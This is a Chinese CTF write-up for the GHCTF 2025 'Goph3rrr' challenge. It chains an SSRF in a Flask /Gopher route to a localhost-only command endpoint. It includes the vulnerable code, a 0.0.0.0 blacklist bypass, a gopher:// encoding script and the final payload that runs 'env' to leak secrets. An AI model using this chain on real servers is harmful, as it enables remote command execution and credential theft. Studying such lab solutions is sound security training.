当前位置: 首页 > news >正文

[GHCTF 2025]Goph3rrr [127.0.0.1绕过][env命令查找flag]

题目

漏洞在这两个里面: 

@app.route('/Gopher')
def visit():
    url = request.args.get('url')
    if url is None:
        return "No url provided :)"
    url = urlparse(url)
    realIpAddress = socket.gethostbyname(url.hostname)
    if url.scheme == "file" or realIpAddress in BlackList:
        return "No (≧∇≦)"
    result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
    return result.stdout
@app.route('/Manage', methods=['POST'])
def cmd():
    if request.remote_addr != "127.0.0.1":
        return "Forbidden!!!"
    if request.method == "GET":
        return "Allowed!!!"
    if request.method == "POST":
        return os.popen(request.form.get("cmd")).read()

 在 /Gopher 界面中

# urlparse()将一个 URL 字符串拆分成多个组成部分,方便对 URL 进行处理和操作。
 url = urlparse(url)
# 这里的hostname是要访问的域名ip
    realIpAddress = socket.gethostbyname(url.hostname)
# 如果要访问的域名ip在黑名单里就失败,也就是说不让你访问127.0.0.1
    if url.scheme == "file" or realIpAddress in BlackList:
        return "No (≧∇≦)"
# 使用了curl命令向输入的url发起访问
    result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
    return result.stdout

在 /Manage 界面中

@app.route('/Manage', methods=['POST'])
def cmd():
    if request.remote_addr != "127.0.0.1":#仅限127.0.0.1自己访问这个界面
        return "Forbidden!!!"
    if request.method == "GET":#这个好像没用
        return "Allowed!!!"
    if request.method == "POST":
# 打开
        return os.popen(request.form.get("cmd")).read()

 /Manage 仅限127.0.0.1可以访问,所以我们可以用 /Gopher 向 /Manage 发送请求,这样发起请求的ip就是本机了,原因是当服务器用curl发起请求的时候,对于目标服务(127.0.0.1:8000)来说,请求的来源是服务器自身,也就绕过了 /Manage 的ip限制

先向 /Gopher 中提交 ?url 为本地回环地址,后面接的TCP流的内容是发送到/Manage界面的外带着攻击代码​​​​​​​

向 /Manage 界面发送要执行的命令,但是这里要执行的命令我一直找不到合适的(只会ls)

后来看官解才知道要用 env 

功能:在Unix/Linux系统中,env命令用于打印当前Shell环境的所有变量,包括:

  • 数据库密码(如MYSQL_PASSWORD
  • API密钥(如AWS_ACCESS_KEY_ID
  • 配置文件路径(如CONFIG_PATH
  • 服务端口和密钥(如SECRET_KEY

抓包后留下四行 

POST /Manage HTTP/1.1
Host: node6.anna.nssctf.cn:29432 #这里也可以改成127.0.0.1:8000 改不改都行
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

cmd=env

注意这里有个换行符,是Gopher协议中规范格式

两次url编码后前面加上 gopher://127.0.0.1:80000/_ 

127.0.0.1在黑名单中,用0.0.0.0过滤

0.0.0.0 的特殊性

  • 在大多数系统中,0.0.0.0 表示绑定到所有网络接口,但实际发起请求时,curl 会将其视为本地回环地址(127.0.0.1)。

  • 因此攻击者通过 0.0.0.0 绕过黑名单,而实际请求仍发送到本地服务。

一开始用的手动url编码的死活过不了,然后在网上搜了个gopher协议编码转换的脚本:

import urllib.parse
payload =\
"""POST /Manage HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

cmd=env
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://0.0.0.0:8000/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

#gopher%3A//0.0.0.0%3A8000/_POST%2520/Manage%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A8000%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25207%250D%250A%250D%250Acmd%253Denv%250D%250A

又到了找不同时间, 

gopher%3A//0.0.0.0%3A8000/_POST%2520/Manage%2520HTTP/1.1%250A%250DHost%253A%2520127.0.0.1%253A8000%250A%250DContent-Type%253A%2520application/x-www-form-urlencoded%250A%250DContent-Length%253A%25207%250A%250D%250A%250Dcmd%253Denv%250D%250A

gopher%3A//0.0.0.0%3A8000/_POST%2520/Manage%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A8000%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25207%250D%250A%250D%250Acmd%253Denv%250D%250A

 找了半天才知道,原来是%0d%0a写成了%0a%0d,呵呵

相关文章:

  • 如何让焦虑为城市供能 | 杂谈
  • windows上LISTENER监听器中显示“监听程序不支持服务”
  • hackmyvm-Smol
  • C++ 语法之函数和函数指针
  • 百度OCR调用记录
  • 荣耀手机怎么录制屏幕?屏幕录制后为视频加水印更有“安全感”
  • 复习JVM
  • STM32之快乐的Event Recorder功能
  • Docker 部署RabbitMQ
  • MySQL日期转字符串,字符串转日期的函数
  • GraphDPI:通过互信息最大化进行图表示学习来消除部分标签歧义
  • SpringBoot之如何集成SpringDoc最详细文档
  • java之IP 工具类
  • MySQL事务介绍
  • Windows主机、虚拟机Ubuntu、开发板,三者之间文件互传
  • 通过NodeRED三步完成数据上报|AIoTedge最佳实践
  • MyBatis XMLMapperBuilder 是如何将 SQL 语句解析成可执行的对象? 如何将结果映射规则解析成对应的处理器?
  • vue3中用v-for循环出三个元素,绑定元素的ref并拿到这三个元素的ref属性
  • YOLO11结构
  • 深度学习框架PyTorch——从入门到精通(2)张量
  • 王日春已任教育部社会科学司司长,此前系人教社总编辑
  • 上海一中院一审公开开庭审理被告人胡欣受贿案
  • 体坛联播|国米淘汰巴萨晋级欧冠决赛,申花击败梅州避免连败
  • 41年轮回,从洛杉矶奔向洛杉矶,李宁故地重游再出发
  • 五一假期上海边检查验出入境人员超61万人次,同比增长23%
  • 丁薛祥在学习《习近平经济文选》第一卷专题研讨班上强调:深入学习贯彻习近平经济思想,加强党中央对经济工作的集中统一领导